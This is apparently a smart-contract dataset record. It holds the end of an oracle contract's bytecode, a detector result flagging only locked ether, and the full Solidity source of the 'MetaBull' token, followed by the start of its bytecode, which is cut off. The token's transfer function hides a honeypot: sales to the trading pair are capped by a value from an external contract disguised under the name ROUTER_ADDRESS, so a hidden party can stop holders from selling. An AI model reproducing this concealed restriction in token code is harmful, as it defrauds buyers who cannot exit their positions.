0000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f69732d73746f707065640000000000000000604482015260640161060e565b804210156107f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f6e6f742d7061737365640000000000000000604482015260640161060e565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905060005b7f00000000000000000000000000000000000000000000000000000000000000008110156109075760006005828154811061085857610858611aba565b60009182526020918290200154604080517f57de26a4000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216926357de26a4926004808401938290030181865afa1580156108cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f09190611ae9565b9050828110156108fe578092505b5060010161081b565b50670de0b6b3a76400007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa15801561097c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a09190611ae9565b6109aa9083611b31565b6109b49190611b6e565b905080610a1d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f7a65726f2d70726963650000000000000000604482015260640161060e565b6fffffffffffffffffffffffffffffffff811115610a97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f70726963652d6f766572666c6f7700000000604482015260640161060e565b604080518082018252600480546fffffffffffffffffffffffffffffffff8082168085527001000000000000000000000000000000009283900482166020808701829052908402909117600355855180870187528783168082526001918301829052938417909455600888901b42890160181b0190935583518551911681529182015290917f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b73910160405180910390a1005b33600090815260208190526040902054600114610bc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b60005b81811015610d40576000838383818110610be157610be1611aba565b9050602002016020810190610bf69190611a2f565b73ffffffffffffffffffffffffffffffffffffffff161415610c74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f43757276654c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015260640161060e565b600160026000858585818110610c8c57610c8c611aba565b9050602002016020810190610ca19190611a2f565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020557f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb244838383818110610cfb57610cfb611aba565b9050602002016020810190610d109190611a2f565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1600101610bc5565b505050565b33600090815260208190526040902054600114610dbe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b60005b81811015610d4057600060026000858585818110610de157610de1611aba565b9050602002016020810190610df69190611a2f565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020557f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610e5057610e50611aba565b9050602002016020810190610e659190611a2f565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1600101610dc1565b33600090815260026020526040812054600114610f0e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161060e565b60035470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff16600114610fa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f43757276654c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015260640161060e565b506003546fffffffffffffffffffffffffffffffff1690565b336000908152600260205260408120548190600114611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161060e565b50506003546fffffffffffffffffffffffffffffffff808216917001000000000000000000000000000000009004166001149091565b336000908152602081905260409020546001146110e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff8116611160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f43757276654c504f7261636c652f696e76616c69642d6f726200000000000000604482015260640161060e565b7f000000000000000000000000000000000000000000000000000000000000000082106111e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f43757276654c504f7261636c652f696e76616c69642d6f72622d696e64657800604482015260640161060e565b80600583815481106111fd576111fd611aba565b60009182526020918290200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff93841617905560408051858152928416918301919091527f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a791015b60405180910390a15050565b33600090815260208190526040902054600114611302576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff811660008181526002602090815260408083209290925590519182527f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c91015b60405180910390a150565b336000908152602081905260409020546001146113db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005818154811061143d57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b336000908152602081905260409020546001146114dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff8116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff166115645750600090565b6001546115a090610100810461ffff1690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611ba9565b7cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16905090565b3360009081526020819052604090205460011461163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b33600090815260208190526040902054600114611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b6001805461ffff8381166101009081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ff8416179384905590910416907cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff63010000009091041681101561180d5760015461ffff838116916117b091841690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611ba9565b6117ba9190611be7565b600160036101000a8154817cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff02191690837cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1602179055505b60405161ffff831681527fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce928179060200161127d565b336000908152602081905260409020546001146118ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff8116611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f43757276654c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff81166000818152600260209081526040918290206001905590519182527f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449101611357565b600080602083850312156119a457600080fd5b823567ffffffffffffffff808211156119bc57600080fd5b818501915085601f8301126119d057600080fd5b8135818111156119df57600080fd5b8660208260051b85010111156119f457600080fd5b60209290920196919550909350505050565b803573ffffffffffffffffffffffffffffffffffffffff81168114611a2a57600080fd5b919050565b600060208284031215611a4157600080fd5b611a4a82611a06565b9392505050565b60008060408385031215611a6457600080fd5b82359150611a7460208401611a06565b90509250929050565b600060208284031215611a8f57600080fd5b5035919050565b600060208284031215611aa857600080fd5b813561ffff81168114611a4a57600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060208284031215611afb57600080fd5b5051919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b6957611b69611b02565b500290565b600082611ba4577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b60007cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83811690831681811015611bdf57611bdf611b02565b039392505050565b60007cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff808316818516808303821115611c1f57611c1f611b02565b0194935050505056fea264697066735822122023cda6d53781a9626362af567c7f70fb5f2097b62b481ce77bc180462f8afd3664736f6c634300080b0033a2646970667358221220bfe24c666e70ac754ad9ea1e6795ef81cf4e7e33196440f62eb835279eb53fa064736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,787 |
0xC7F9eD32B376D7D8c106a99f7240D579982162D2
|
//SPDX-License-Identifier: MIT
// Website: metabull.me
// Telegram: t.me/metabull
// Twitter: @metabull
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet
uint256 constant TOTAL_SUPPLY=100000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="MetaBull";
string constant TOKEN_SYMBOL="METABULL";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MetaBull is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600881526020017f4d65746142756c6c000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d45544142554c4c000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400